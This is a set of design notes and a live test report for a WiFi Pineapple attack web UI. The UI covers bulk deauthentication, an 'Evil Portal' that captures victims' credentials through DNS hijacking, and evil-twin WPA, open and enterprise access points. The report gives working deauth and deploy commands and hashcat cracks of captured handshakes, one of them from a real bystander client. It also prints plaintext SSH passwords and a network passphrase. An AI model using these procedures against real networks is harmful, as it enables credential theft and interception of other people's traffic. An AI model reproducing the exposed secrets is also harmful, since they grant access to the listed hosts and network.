| pineapd crash-loop despite guards | procd respawn + supervisor restart w/ backoff + alert |
| Risky op kills management plane | Local-liveness rollback watchdog restores snapshot |
| Deploy uploads corrupt payload | sha256 gate before swap |
| New payload fails health check | Auto-rollback to previous release |
| Overlay wiped by firmware upgrade | Reinstall payload; profiles/journal/history survive on /mmc |
| Memory exhaustion | Sustained-watermark alerts; no destructive automation |
## Security
No new network exposure; all new endpoints behind existing auth; watchdog
and guard scripts are root-owned, written atomically; no credentials stored
in repo or journal metadata (SSIDs/BSSIDs only).
## Out-of-scope notes
Custom firmware remains a documented future experiment (extraction recipe
captured in session history: uImage kernel @0, squashfs-xz rootfs
@0x2615dc; bootloader signature behavior unverified).
@@ -0,0 +1,116 @@
# Mark VIII — Deauth UX, Evil Portal, Monitor Capture Fixes
Date: 2026-08-23
Status: approved (user confirmed design in session)
## Goals
1. Make deauth obvious: "Deauth All Clients" from Recon's AP focus sidebar, "Deauth All"
on the Deauth Targeting card — both gated by an engagement-scope confirmation.
2. New top-level **Evil Portal** tab compatible with Hak5 EvilPortalNano portals
(kleo/evilportals layout): import zips, serve pages to victims, capture credentials,
DNS-hijack delivery.
3. OpenAP gains an "Evil Portal" card: dropdown of imported templates, greyed out when
none exist; activating an OpenAP with a template selected starts the portal.
4. Fix Monitor Capture never appearing to work.
## Non-goals
- No PHP interpreter; the backend shims only the trivial PHP patterns stock portals use.
- No TLS interception (HTTPS requests are not redirected).
- `.enable`/`.disable` portal scripts are stored but **not executed** (divergence from
stock EvilPortalNano, documented here deliberately).
## 1. Bulk deauth endpoint
`POST /api/attacks/deauth/bulk` body `{targets: [{bssid, client, channel?}, ...]}`
(max 32). Shared helper `_deauth_one(bssid, client, channel)` extracted from
`h_attacks_deauth`; per-target results returned `{results: [...], sent, failed}`.
Uses the existing band→inject-iface logic and `PINEAPPLE_DEAUTH_CLIENT`.
### Recon sidebar
In `renderFocus()` (www/js/views.js), when the focused AP has confirmed clients, add a
danger button **"Deauth All Clients"**. Clicking shows
`confirm("Deauthenticate N client(s) of <SSID>? Confirm this target is IN SCOPE for your engagement.")`,
then posts one bulk call.
### Deauth Targeting card
`deauthPanel()` gains a danger **"Deauth All"** button that bulk-deauths every device in
the current result list against the selected AP, behind the same scope confirmation.
## 2. Evil Portal
### Storage & import
- Root: `/mmc/mk8/portals/<name>/` (`[A-Za-z0-9._-]{1,64}` names, mk8_profiles rules).
- `POST /api/portals/import` `{data: <base64 zip>}` (≤10 MB decoded). Zip-slip guarded
(reject absolute paths and `..`). If every entry shares a single top-level directory,
that directory becomes the portal root. `index.php` must exist at the root.
- Other endpoints: `GET /api/portals`, `DELETE /api/portals/{name}`,
`POST /api/portals/{name}/activate|deactivate`, `GET /api/portals/captures`,
`DELETE /api/portals/captures`, `GET /api/portals/{name}/logs` (Download),
`GET /api/portals/{name}/download` (zip of the portal folder).
### Serving engine (port 80)
Second listener thread in server.py, own connection handler (no auth, no same-origin —
victims are unauthenticated). Admin UI on :8080 untouched.
- **GET anything** → active portal:
- Path resolves inside the portal dir (`_safe_join`); missing paths fall back to
`index.php`; asset files served raw with the standard mime map.
- `index.php` rendered through the PHP shim.
- **PHP shim**: replaces `getClientMac($_SERVER['REMOTE_ADDR'])` /
`getClientHostName(...)` with values resolved from DHCP leases for the requester IP,
`$_SERVER['REMOTE_ADDR']` with the requester IP, `$destination` with the request URL;
strips all other `<?php ... ?>` / `<?= ... ?>` blocks.
- **POST anything** → credential capture: parse urlencoded fields, enrich with client
ip/mac/hostname, append:
- `<portal>/.logs` in the exact MyPortal.php text format (stock-tool compatible), and
- `/mmc/mk8/portals/captures.jsonl` (one JSON object per line) for the UI.
Response: simple authorization-success HTML page.
### Delivery: DNS hijack
Activation writes `dhcp.@dnsmasq[0].address='/#/<lan-ip>'` (UCI), commits, restarts
dnsmasq; deactivation deletes the option and restarts. LAN IP discovered via
`ip -4 addr show br-lan` (env-overridable `PAGER_LAN_IFACE`, fallback 172.16.52.1).
Active portal name persists at `/mmc/mk8/portals/.active`; on service start the hijack
is re-applied best-effort if a portal was left active.
### Tab UI
Rail entry + route `#/evilportal` + `views.evilportal`: Active Portal status card,
Templates card (list with Activate/Stop/Delete/Download, Import via zip file input →
base64), Captured Credentials table (time, portal, fields) with Clear and Download.
## 3. OpenAP Evil Portal card
`attackLauncher('open', {..., portal: true})`: card with a template `<select>`
(populated from `GET /api/portals`), disabled with hint text when no templates exist.
Deploy body carries `portal: <name>`; `h_attacks_deploy` activates it after a successful
open-AP deploy; `h_attacks_stop` for kind `open` deactivates any active portal. Status
card shows the active binding.
## 4. Monitor Capture fix
Root cause: `views.js:1314` polls `/api/attacks/capture {action:'status'}` without
`iface`; the backend defaults to `wlan0mon`, so a live `wlan1mon` capture flips back to
"Not capturing" within one 5 s poll.
- Backend `status` with no `iface`: evaluates both pidfiles and reports whichever
capture is actually running (else the default). Start failures now `mkdir -p` the pcap
dir first and tee tcpdump stderr to `/tmp/mk8_capture_<iface>.log`, surfaced in the
502 detail.
- Frontend: when a status/start response reports a running capture, adopt its iface for
subsequent Stop clicks.
## Testing
- New `tests/test_portals.py`: import validation (bad name, zip-slip, oversize, missing
index.php, nested top-dir flattening), PHP shim substitutions, capture log formats.
- Extend `tests/test_attacks.py`: bulk deauth validation/looping (mocked device_run),
capture status dual-iface resolution.
- Existing suite must stay green (run per-file as documented in README).
@@ -0,0 +1,46 @@
# PineAP Dashboard: Remove Mode Card, Move RF Role Card
Date: 2026-08-23
## Goal
Remove the "Passive / Active / Advanced" mode card from the PineAP dashboard and move the "RF Role (radio1)" card into its position, cleaning up all supporting code that becomes dead as a result.
## Layout
Current PineAP dashboard rows:
1. `[Passive/Active/Advanced, Quick Settings]`
2. `[RF Role (radio1)]`
3. `[Karma, Open Network, Evil WPA]`
New layout:
1. `[RF Role (radio1), Quick Settings]`
2. `[Karma, Open Network, Evil WPA]`
## Changes
### `payload/user/remote_access/pager-webui/www/js/views.js` (`views.pineap`)
- Remove mode-card UI: `mode` badge, `segBtns`/`modeBar`, `modeInfo`, `saveModeBtn`, `modeCard`.
- Append `rfCard` to `modeRow` (first position, before Quick Settings); delete `rfRow`.
- Remove functions `selectMode()`, `saveMode()`, `renderModeInfo()`.
- Remove state `selectedMode`, `modeDirty`, `modePending`.
- Remove `PINEAP_SESSION.mode` and the `'advanced'` write in `rememberAdvanced()` (Quick Settings toggles keep working).
- In `load()`: drop the `GET /api/pineap/mode` call, `PINEAP_SESSION.mode` tracking, and the badge-class update on the removed `mode` element.
### `payload/user/remote_access/pager-webui/www/css/app.css`
- Remove mode-card-only rules: `.seg`, `.seg-btn`, `.seg-btn + .seg-btn`, `.seg-btn.active`, `.seg-btn:disabled`, `.pineap-card-button-group .seg`, `.pineap-card-button-group .seg-btn`, `.pineap-mode-save`, `.pineap-mode-features`.
- Keep `.pineap-card-title-flex` (used by other views).
## Untouched
- Backend `/api/pineap/mode` endpoint (still exercised by `tests/test_pineap_modes.py`).
- RF role logic, all other views, `build/` (regenerated by `scripts/deploy.sh`).
## Verification
- `node --check` on `views.js`.
- Manual browser check of the PineAP dashboard layout.
@@ -0,0 +1,457 @@
# Mark-VIII PineAP Attack Validation — 2026-08-23
> ## Fix round 2026-08-23 (post-validation) — status update
>
> All defects below were fixed and re-validated live on the same hardware.
>
> - **BUG 1 — FIXED.** `DEAUTH_CLIENT` → `PINEAPPLE_DEAUTH_CLIENT` at both call sites.
> Live: `/api/attacks/deauth` and `/api/pineap/clients/kick` return `ok:true`; on-wire effect
> confirmed (client dropped from the twin, kept off by kick's deny filter; re-associates after
> filter clear).
> - **BUG 2 — FIXED.** `_allow_all_ssids()` now issues `PINEAPPLE_NETWORK_FILTER_MODE deny`.
> Live: after any deploy, `GET /api/pineap/filters/ssid` reads `deny` + empty without manual help,
> and clients associate to twins unaided.
> - **BUG 3 — FIXED (root cause found by live experiment).** Two independent causes:
> 1. **eap_user_file grammar.** `hostapd_get_eap_user()` never wildcard-matches a bare `*`
> identity for phase-2 lookups (`!phase2` guard); phase-2 entries need a *quoted* identity.
> The fix uses quoted empty prefix `""* <methods> "<pw>" [2]`, which prefix-matches any
> inner identity. Proven against stock hostapd 2.10 on a wired veth loopback first, then
> live on the Pager.
> 2. **`pineapd.@hostapd[0].pineape_auth_pass='1'`** makes the karma hostapd forward inner EAP
> to pineapd, which has no responder for a standalone AP → instant inner EAP-Failure after
> the TLS tunnel. Deploy now forces it to `0` (standalone hostapd terminates inner
> MSCHAPv2/GTC/PAP itself); stop restores `1`.
> Live: API-deployed enterprise twin + PEAP/MSCHAPv2 client → repeated full
> `CTRL-EVENT-CONNECTED` (EAP success + 4-way) on firmware wpad 2.12-devel.
> - **BUG 3 residual (firmware-blocked):** plaintext credential *capture* is not possible on
> 24.10.1: the patched wpad compiles out MSG_DEBUG/MSG_MSGDUMP stdout logging (no MSCHAPv2
> hexdumps anywhere), `-f <log>` is silently ignored (fd1→/dev/null), and passthrough mode
> cannot work without an upstream RADIUS backend. With `auth_pass=0` nothing feeds
> `hostap_basic`/`hostap_chalresp`. Phase-1 outer identities remain sniffable in plaintext
> via the capture API. This limitation is documented in code comments.
> - **Secondary `-f` bug — FIXED:** `_start_ent_hostapd` no longer passes `-f` at all.
> - **ISSUE 4 — FIXED:** 5 GHz WPA deploys now set `pineapd.@hostapd[0].mgmtiface=wlan1wpa`
> so pineapd recognizes the radio1 twin (same mechanism that populates `hostap_client`);
> cleared again on stop.
> - **ISSUE 5 — MITIGATED:** radio0 daemon `set_ap` path now polls up to 90 s across the
> `wifi reload` window and retries `set_ap` once if the iface still hasn't appeared.
> Live deploy verified `true` first try.
> - **ISSUE 6 — FIXED:** skill docs now use `llc && eth.type == 0x888e` instead of `eapol`.
> - **ISSUE 7 — FIXED:** capture state helper detects dead-pid / iface-down, kills leftovers,
> cleans the pidfile, and status reports `{running:false, stale:true}` instead of a zombie
> `running:true`. Verified live by killing tcpdump under an active capture.
> - Test suite: 463 tests green (was 457 with 6 pre-existing failures caused by global
> `os.path` monkeypatch leaks between test modules — also fixed). New regression coverage:
> deauth app name, SSID-filter-mode app name, eap_users grammar, `pineape_auth_pass`
> set/restore, capture stale detection, radio0 set_ap retry.
> - New firmware quirks discovered while fixing (document here for future rounds):
> - `PINEAPPLE_DEVICE_FILTER_DELETE deny <mac>` returns rc=0 but does NOT remove the entry;
> only `_CLEAR` works. The kick regression "delete entry → re-associate" must use clear.
> - dropbear rate-limits rapid successive SSH logins ("Permission denied" bursts).
> - Killing hostapd while another instance holds the phy iface wedges cfg80211 into D-state
> (known §5 issue): never tear down wlan1ent while a foreign hostapd still runs.
---
**Status:** Suite executed against a live WiFi Pineapple Pager (firmware `Pineapple Pager 24.10.1`,
hostname-reachable at `root@172.16.52.1`, Mark VIII UI on `:8080`) with a Kali victim client
(`bzuccaro@192.168.1.103`, wlan0 `a0:a4:c5:93:f8:05`). Both reachable with password "Bryce9205"
**Purpose of this document:** hand off every validated behavior and every defect to a fixing model.
Each defect has an exact `file:line`, reproduction, root cause, and recommended fix. Everything below
was observed live; no assertion is speculative. Device evidence lives under `/root/loot/**` on the
pineapple and `/tmp/znet*.hc22000` on Kali.
**In-scope networks (authorized):**
- `Znet` — WPA2 (actually SAE-mixed per on-air RSN: `[WPA2-SAE+FT/SAE-CCMP][SAE-H2E]`), 5 GHz
BSSIDs on ch 36 / 44 / 48 / 108 / 116 / 153. PSK = `EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY`.
- `Znet-Open` — open (enc `0` in recon DB), 2.4 GHz ch 6 (`B6:8B:A9:17:2A:6E`) and ch 11
(`B6:8B:A9:17:47:33`).
---
## 1. Results summary
| # | Attack / capability | Result | Evidence |
|---|---|---|---|
| 1 | Evil WPA (PSK) 5 GHz — radio1 `wlan1wpa` | **PASS** | Twin authenticated Kali + 2 real clients; 4-way captured on `wlan1mon`; `.hc22000` cracked → PSK recovered. |
| 2 | Evil WPA (PSK) 2.4 GHz — radio0 `wlan0wpa` | **PASS** (flaky deploy) | 4-way captured on `wlan0mon`; cracked → PSK recovered. |
| 3 | Evil Open — radio0 `wlan0open` (BSSID-spoofed) | **PASS** | Kali associated to spoofed-BSSID twin; bidirectional IP/DNS/TCP captured on `wlan0mon`. |
| 4 | Evil Enterprise — standalone `wlan1ent` PineAPE | **FAIL** | AP + TLS tunnel work; **inner EAP auth never completes**; zero credentials captured. |
| 5 | Deauth — `/api/attacks/deauth`, `/api/pineap/deauth/client` | **FAIL (bug)** | `unknown app DEAUTH_CLIENT`. Underlying `PINEAPPLE_DEAUTH_CLIENT` works (on-wire deauth frames). |
| 6 | Client kick — `/api/pineap/clients/kick` | **FAIL (same bug)** | Deny filter set, but deauth half fails → client never actually kicked. |
| 7 | Attack capture API (`/api/attacks/capture`) | **PASS** | tcpdump start/stop/status on `wlan0mon`/`wlan1mon`; pcaps analyzable. |
| 8 | Handshake export (`/api/attacks/export/hc22000`) | **PASS** | Valid `.hc22000`; cracked with `hashcat -m 22000`. |
| 9 | PineAP settings / filters API | **PASS** | mode/add/delete/clear; **gotcha:** `allow`+empty blocks karma association. |
| 10 | MCP harness (`POST /mcp`) | **PASS** | all tools; `attack.deauth` inherits bug #5. |
| 11 | Web UI click-through | **PASS** | login → Evil WPA deploy ("Applied and verified on device", LIVE) → capture → export → stop. |
**Two critical defects to fix first:** #5 (deauth/kick, one-character-class bug) and #6's hidden twin
#2 (`_allow_all_ssids` short-name bug that blocks all evil-twin association until a human sets the
filter to deny). See §3.
---
## 2. Environment notes (facts the fixer needs)
### 2.1 hak5cmd dispatches by FULL app name as `argv[1]`
`/usr/bin/hak5cmd` (Pager 1.1.0) is dispatched by app name. Invoking the symlinks
(`/usr/bin/PINEAPPLE_DEAUTH_CLIENT`) or passing the full `PINEAPPLE_*` name as `argv[1]` both work:
```sh
hak5cmd DEAUTH_CLIENT <ap> <client> <ch> # FAILS: "unknown app DEAUTH_CLIENT"
hak5cmd PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch> # rc=0, deauth frames on wire
/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch> # rc=0
```
Verified app names present on the unit (from `hak5cmd` with no args): `PINEAPPLE_DEAUTH_CLIENT`,
`PINEAPPLE_DEVICE_FILTER_*`, `PINEAPPLE_MAC_FILTER_*`, `PINEAPPLE_NETWORK_FILTER_*`,
`PINEAPPLE_SSID_FILTER_*`, `PINEAPPLE_SSID_POOL_*`, `PINEAPPLE_HOPPING_*`, `PINEAPPLE_MIMIC_*`,
`PINEAPPLE_EXAMINE_*`, `PINEAPPLE_RECON_*`, `PINEAPPLE_SET_BANDS`, `PINEAPPLE_LOOT_ARCHIVE`.
The `hak5()` helper (`server.py:5646`) passes `[HAK5CMD] + args` and the filter calls in the codebase
use full names (those work). The deauth and `_allow_all_ssids` calls use short names (broken).
### 2.2 SSID / client filter semantics on this firmware
- Filter mode **`allow`** = whitelist. With an empty list this makes karma respond to **nothing**, so
clients **cannot associate** to evil twins.
- Filter mode **`deny`** = blacklist (allow-by-default). With an empty list everything is allowed.
- The evil-twin flow **requires** both SSID and client filters in `deny` mode with empty lists.
- Mark VIII's `_allow_all_ssids()` is *supposed* to set the SSID filter to `deny` but is broken (bug #2).
### 2.3 Deauth injection phy
`h_attacks_deauth` chooses the inject interface from the channel band (`wlan1mon` for 5/6 GHz,
`wlan0mon` for 2.4 GHz) and switches `_pineap INTERFACE INJECT` for 2.4 GHz. On 5 GHz the phy is
pinned by the active AP interface, so deauth on a 5 GHz evil twin's channel works. The 5 GHz monitor
(`wlan1mon`) does **not** reliably show injected 5 GHz deauth frames (phy1 beacon-offload quirk), so
on-wire deauth proof for 5 GHz is best done on 2.4 GHz (`wlan0mon`) where own-TX is visible, or via
client-side disconnect logs.
### 2.4 Capture filter quirk
On this firmware's monitor interfaces `tcpdump -r cap 'eapol'` matches **0** frames even when EAPOL
is present. The working filter is `llc and ether proto 0x888e`. (Affects any analysis/tooling that
grep's `eapol`.)
### 2.5 pineapd UCI baseline (guard-enforced known-good)
`pineapd.@hostapd[0].wpaiface='wlan0wpa'` (only the 2.4 GHz WPA iface is the daemon's "own AP").
`mgmtiface='wlan0mgmt'`. `wlan1mon.hop` baseline is `0` in the guard set
(`PINEAPD_SAFE_UCI`, `server.py:4639`); monitors park between scans, hopping resumes during recon.
### 2.6 Reliability core interactions observed
The rollback watchdog arms around `attack_deploy` / `attack_stop` and restores the pre-op UCI snapshot
if local liveness (UI `:8080` + monitor presence) fails for sustained ticks. Rapid deploy/stop cycles
that drop the radios trigger restores that can **resurrect older AP states** (the `wlan0open` Znet-Open
twin reappeared twice after we had stopped it). The watchdog self-exits after ~120 quiet ticks.
---
## 3. Defects to fix (ranked)
### BUG 1 — CRITICAL: Deauth / kick invoke the wrong hak5cmd app name
**Impact:** `/api/attacks/deauth`, `/api/pineap/deauth/client`, `/api/pineap/clients/kick` (deauth
half), and MCP `attack.deauth` / `pineap.kick_client` all fail with
`unknown app DEAUTH_CLIENT`. The **entire deauth attack is non-functional through Mark VIII.**
**Locations (all in `payload/user/remote_access/pager-webui/server.py`):**
- `server.py:3009``_deauth_client_via_iface()`
```python
rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, mac, str(channel)], timeout=30)
```
- `server.py:4602` — `h_attacks_deauth()`
```python
rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, client, str(channel or 1)], timeout=30)
```
- `h_client_kick` (`server.py:963`) and MCP `kick` (`server.py:5368`) both call
`_deauth_client_via_iface`, so fixing `3009` fixes them. Their filter half (`PINEAPPLE_DEVICE_FILTER_*`)
is already correct.
**Root cause:** short name `DEAUTH_CLIENT`; hak5cmd requires the full app name `PINEAPPLE_DEAUTH_CLIENT`
(see §2.1). `HAK5CMD` defaults to `/usr/bin/hak5cmd` (`server.py:31`).
**Fix:** replace `'DEAUTH_CLIENT'` with `'PINEAPPLE_DEAUTH_CLIENT'` at `server.py:3009` and `:4602`.
**Verification (live-proven):**
```sh
# before fix
curl -b cookie -H 'Content-Type: application/json' \
-d '{"bssid":"B6:8B:A9:17:2A:6E","client":"A0:A4:C5:93:F8:05","channel":6}' \
http://172.16.52.1:8080/api/attacks/deauth
# => {"error":"deauth failed","detail":"unknown app DEAUTH_CLIENT\n"}
# working device-level invocation (deauth client from our own evil twin):
/usr/bin/PINEAPPLE_DEAUTH_CLIENT B6:8B:A9:17:2A:6E A0:A4:C5:93:F8:05 6 # rc=0
# on-wire proof on wlan0mon:
tcpdump -r cap -nn 'wlan type mgt subtype deauth' # SA=spoofed BSSID, DA=client
```
Regression check: run `/api/pineap/clients/kick` on an associated client and confirm it is
disconnected AND stays disconnected while the deny filter is present; then `delete` the filter entry
and confirm re-association works.
---
### BUG 2 — CRITICAL: `_allow_all_ssids()` uses a short name and silently fails
**Impact:** after every evil-twin deploy, karma remains in `allow` (whitelist) mode → **no client can
associate to the twin**. This is why the Evil Open association only worked after a human set the
filter to `deny` via the API.
**Location:** `server.py:3691-3695`
```python
def _allow_all_ssids():
"""Set the SSID filter to deny mode (allow-by-default) so karma
responds to any probed SSID."""
rc, out, err = device_run([HAK5CMD, 'SSID_FILTER_MODE', 'deny'], timeout=30)
return rc == 0
```
`SSID_FILTER_MODE` is a short name. The valid app names on this unit are
`PINEAPPLE_SSID_FILTER_MODE` and `PINEAPPLE_NETWORK_FILTER_MODE`. The return value is ignored by all
callers (`_deploy_wpa_open` at `:3774`, `_deploy_enterprise` at `:4277`), so it fails silently.
**Fix:** use a full app name. Consistency check: the filter API for `ssid` kind uses prefix
`PINEAPPLE_NETWORK_FILTER` (`server.py:5722`), and the deployed `pineapd.@ssid_filter[0].mode` is
`deny` in the guard baseline — but the live daemon readback was `allow` after deploy, proving the
call did not land. Verify on-device that the chosen name flips
`GET /api/pineap/filters/ssid` to `{"mode":"deny"}`.
**Verification:**
```sh
curl -b cookie http://172.16.52.1:8080/api/pineap/filters/ssid # must show "deny" after a deploy
```
---
### BUG 3 — HIGH: Evil Enterprise credential capture broken (inner EAP never completes)
**Impact:** the Enterprise attack is non-functional: the AP comes up, clients associate, the TLS
tunnel builds, but the server immediately sends EAP-Failure after the phase-2 identity for every
inner method (MSCHAPv2, GTC, TTLS-PAP). **Zero credentials** land in `hostap_basic`,
`hostap_chalresp`, or `/root/loot/enterprise/captures.json`.
**Locations:**
- `_eap_users_text` — `server.py:3836-3853` (writes the `eap_user_file`)
- `_deploy_enterprise` — `server.py:4217-4325`
- `_ent_conf_text` — `server.py:4102`
- `_start_ent_hostapd` — `server.py:4173-4202`
- `_ensure_ent_certs` — `server.py:3875`
**Observed behavior (reproducible):**
- Deploy succeeds (`verified: true`, `ctrl_linked: true`, hostapd `state=ENABLED` on `wlan1ent`,
bssid `02:13:37:ae:8e:7c`, ch44, `ieee8021x=1 eap_server=1 wpa_key_mgmt=WPA-EAP`).
- Kali (PEAP/MSCHAPv2, PEAP/GTC, and TTLS/PAP all tried) associates and the outer TLS tunnel
completes; the client then sees `EAP-PEAP: Phase 2 Failure` / `EAP-Failure`.
- hostapd (karma-patched `wpad`, v2.12-devel) logs:
```
IEEE 802.1X: authentication failed - EAP type: 0 (unknown)
IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP)
```
- `eap_user_file` parser on this build **requires quoted identities** for non-wildcard entries:
unquoted `victim@znet.local` → `Invalid EAP identity (no " in start) on line 1`.
**eap_users formats tried, all failing identically:**
1. `* PEAP,TTLS` + `* MSCHAPV2,TTLS-MSCHAPV2,TTLS-MSCHAP "pw" [2]` (what the code writes today)
2. `* PEAP,TTLS` + `* MSCHAPV2 "pw"` (no `[2]`)
3. `* PEAP,TTLS` + `* MSCHAPV2 "pw" [2]`
4. `"*" PEAP,TTLS` + `"*" MSCHAPV2 "pw" [2]` (quoted wildcards)
5. `victim@znet.local PEAP,TTLS` + `victim@znet.local MSCHAPV2 "pw"` (unquoted → parse error)
6. `"victim@znet.local" PEAP,TTLS` + `"victim@znet.local" MSCHAPV2 "pw"` (quoted exact)
7. `* PEAP,TTLS` + `* TTLS-PAP "pw"` (client `eap=TTLS phase2="auth=PAP"`) — also fails
8. Passphrase matched (`VictimPass123!`) and mismatched (`dummy`) — no difference
**Fixer investigation pointers (open questions):**
- Verify whether `pineap_enable` / `pineape_enable` / `pineape_auth_enable` on the standalone
instance actually arm PineAPE auth-capture on this build (they return `OK`, and the startup log
shows `PINEAP: setting MAC filter mode DENY`, but no capture events ever appear).
- Confirm the correct `eap_user_file` grammar for THIS `wpad` build (source of the `[2]` flag and
whether a phase-2-only entry is required for the inner lookup).
- Test with a controlled EAP client (`eapol_test` from a host with `wpa_supplicant` dev headers) and
with syslog `logger_syslog_level=0` on the instance to see why the inner method is never offered.
- Compare the Mark VIII standalone conf to what the stock daemon would generate for
`set_ap` enctype `wpa2` (the daemon path is broken with `eap_server_erp=1`; confirm whether
removing just that key makes the stock path capture).
- `hostap_basic` / `hostap_chalresp` are populated by pineapd from the karma hostapd socket; confirm
`pineapd.@hostapd[0].mgmtiface='wlan1ent'` is sufficient (it is set and survives), and whether
`/etc/init.d/pineapd reload` after deploy is enough.
**Verification:** with a fixed enterprise deploy, a PEAP/MSCHAPv2 client must (a) complete
`EAPOL` successfully, and (b) yield rows in `hostap_basic` (identity) and `hostap_chalresp`
(challenge/response), which must appear in `GET /api/pineap/enterprise/radius` and be crackable via
`GET /api/pineap/enterprise/export/hashcat` (`hashcat -m 5500`).
**Secondary bug found while here:** `_start_ent_hostapd` (`server.py:4173`) starts hostapd with
`-f ENT_LOG` on the first attempt but **drops `-f` on the fallback attempt** (`server.py:4183`), so
the enterprise log file stays empty — the fixer will need another log channel (syslog) while
debugging.
---
### ISSUE 4 — MEDIUM: 5 GHz handshake loot pipeline (`hostap_handshake` / `/root/loot/handshakes`) never populates
**Symptom:** handshakes complete on the radio1 twin (`wlan1wpa`) — `hostapd` logs
`EAPOL-4WAY-HS-COMPLETED <client>` — but `hostap_handshake` stays empty and no files are written to
`/root/loot/handshakes`. The Handshakes/Loot UI shows 0.
**Likely root cause:** `pineapd.@hostapd[0].wpaiface='wlan0wpa'` only (2.4 GHz). pineapd treats
`wlan0wpa` as its own handshake-logging AP; the radio1 `wlan1wpa` twin (created via the UCI/radio1
path, `_apply_radio1_ap`) is not recognized, so pineapd never logs own-AP handshakes for it.
**Working path (validated end-to-end):** the monitor capture API + export:
1. `POST /api/attacks/capture {iface:wlan1mon, action:start}` before the client connects.
2. Client 4-way happens → the pcap contains EAPOL (`tcpdump -r cap 'llc and ether proto 0x888e'`).
3. `GET /api/attacks/export/hc22000` → hcxpcapngtool → `.hc22000` → `hashcat -m 22000` cracks it.
**Fixer options:** either teach the deploy to make pineapd recognize the radio1 WPA iface (careful:
`wpaiface` is a single shared daemon setting; two ifaces may need a list or the mgmtiface trick), or
surface the monitor-capture+export flow as the supported 5 GHz evidence path. The UI's
"Handshakes Captured" counter reads `hostap_handshake` and will show 0 for 5 GHz until this is fixed.
---
### ISSUE 5 — MEDIUM: 2.4 GHz (`radio0` daemon `set_ap`) attack deploy is flaky
**Symptom:** `_deploy_wpa_open` 2.4 GHz path (`server.py:3725-3753`) calls the daemon
`PUT /api/settings/wifi/set_ap` for `wlan0wpa`/`wlan0open`. The resulting `wifi reload` drops the
radios for ~4060 s (during which `iw dev` can show zero interfaces and the deploy poll may return
`verified: false`). Afterwards:
- the stock daemon can revert the UCI (`wlan0wpa.ssid` back to `pager-wpa`, `disabled=1`), and
- the reliability rollback watchdog can restore an older snapshot (resurrecting a previously stopped
AP, e.g. the `wlan0open` Znet-Open twin reappeared twice).
**Workarounds that made it work:** deploy once → poll `iw dev wlan0wpa info` until `ssid Znet` →
start a **fresh** capture (the old one died when the radios dropped) → connect the client. The
handshake then captures and cracks normally.
**Fixer pointers:** make the deploy poll tolerate the radio-restart window (the 5 GHz/radio1 UCI path
already behaves better); consider whether the radio0 path should write UCI + `wifi reload` instead of
the daemon `set_ap`, and whether the watchdog should be suppressed until the radios reconverge.
---
### ISSUE 6 — LOW: tcpdump `eapol` filter matches nothing on this firmware
Use `llc and ether proto 0x888e` instead. Relevant to any in-app capture analysis, docs, or tooling
that filters on `eapol`.
### ISSUE 7 — LOW: monitor capture dies when the radio restarts mid-capture
When a `wifi reload` drops the monitor iface during a capture, the pcap ends up with 1 frame while
the API still reports `running: true` (the tcpdump process is gone). The capture API should detect
iface-down / dead-pid and either restart or report stopped.
---
## 4. Per-attack validation evidence (for the report)
### 4.1 Evil WPA 5 GHz — PASS (crackable)
- Deploy: `POST /api/attacks/deploy {"kind":"wpa","ssid":"Znet","passphrase":"EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY","enctype":"psk2","channel":44}`
→ `{"iface":"wlan1wpa","band":"5","verified":true}`.
- AP live: `wlan1wpa` BSSID `02:13:37:ae:8e:7c`, hostapd `wpa=2 key_mgmt=WPA-PSK`.
- Client auth: `wpa_supplicant` completed full 4-way (`Key negotiation completed`, PTK=CCMP GTK=CCMP);
hostapd logged `EAPOL-4WAY-HS-COMPLETED a0:a4:c5:93:f8:05`; a real nearby client (`e6:75:7f:45:fd:57`)
also got caught (full handshake) and another (`68:9e:19:d1:6e:e1`) hit a PSK mismatch (evidence the
twin attracts real clients).
- Capture: `wlan1mon` pcap held 170 EAPOL key frames.
- Convert: `hcxpcapngtool -o /root/loot/hc22000/znet.hc22000 hs_client.cap`.
- Crack (on Kali): `hashcat -m 22000 /tmp/znet.hc22000 /tmp/wl.txt --potfile-disable`
```
9b029677bdecbadd3bc3c3a211627f96:021337ae8e7c:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY
329438490c9d7af672eb01f2ceb26bc0:021337ae8e7c:e6757f45fd57:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY
```
Both our client and the real client's handshakes cracked to the real PSK.
### 4.2 Evil WPA 2.4 GHz — PASS (crackable, flaky deploy)
- Deploy `channel:6` → `wlan0wpa` (daemon `set_ap`). First two attempts `verified:false` and reverted
by the daemon/watchdog; final attempt `verified:true`. Fresh `wlan0mon` capture, client connected,
4-way captured (`EAPOL key v1/v2`), hostapd `EAPOL-4WAY-HS-COMPLETED`.
- Crack: `8533e8028891cf997bbaf0d1880ca4be:001337aee050:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY`.
### 4.3 Evil Open (Znet-Open) — PASS
- Deploy `{"kind":"open","ssid":"Znet-Open","channel":6,"bssid":"B6:8B:A9:17:2A:6E","country":"US"}`
→ `wlan0open` live with **spoofed BSSID** `b6:8b:a9:17:2a:6e` (= real AP MAC), hostapd ENABLED.
- Association initially FAILED until the SSID/client filters were set to `deny` via the API — this is
bug #2 manifesting. After the fix to bug #2, the client associates (wpa_supplicant COMPLETED on the
spoofed BSSID; `/api/pineap/clients` shows `A0:A4:C5:93:F8:05` on `wlan0open`).
- Data plane through the twin (client IP `172.16.52.99/24` on the twin):
- `ping 172.16.52.1` → 4/4 replies
- DNS `172.16.52.99 > 172.16.52.1.53` query + NXDOMAIN reply
- TCP SYN `172.16.52.99 -> 172.16.52.1.80`
All captured on `wlan0mon` (`attack_wlan0mon_1787506980.cap`). This is the on-wire MITM proof.
### 4.4 Evil Enterprise — FAIL (see BUG 3)
- AP verified, ctrl linked, client association recorded in `hostap_client` (visible in
`/api/pineap/enterprise/radius` `clients`), but zero credentials anywhere.
### 4.5 Deauth / kick — FAIL via API (BUG 1), working at device level
- Device-level (works): `/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch>`; on-wire deauth frames
(SA=spoofed BSSID, "Unspecified reason") captured on `wlan0mon`; client dropped.
- API (broken): see BUG 1.
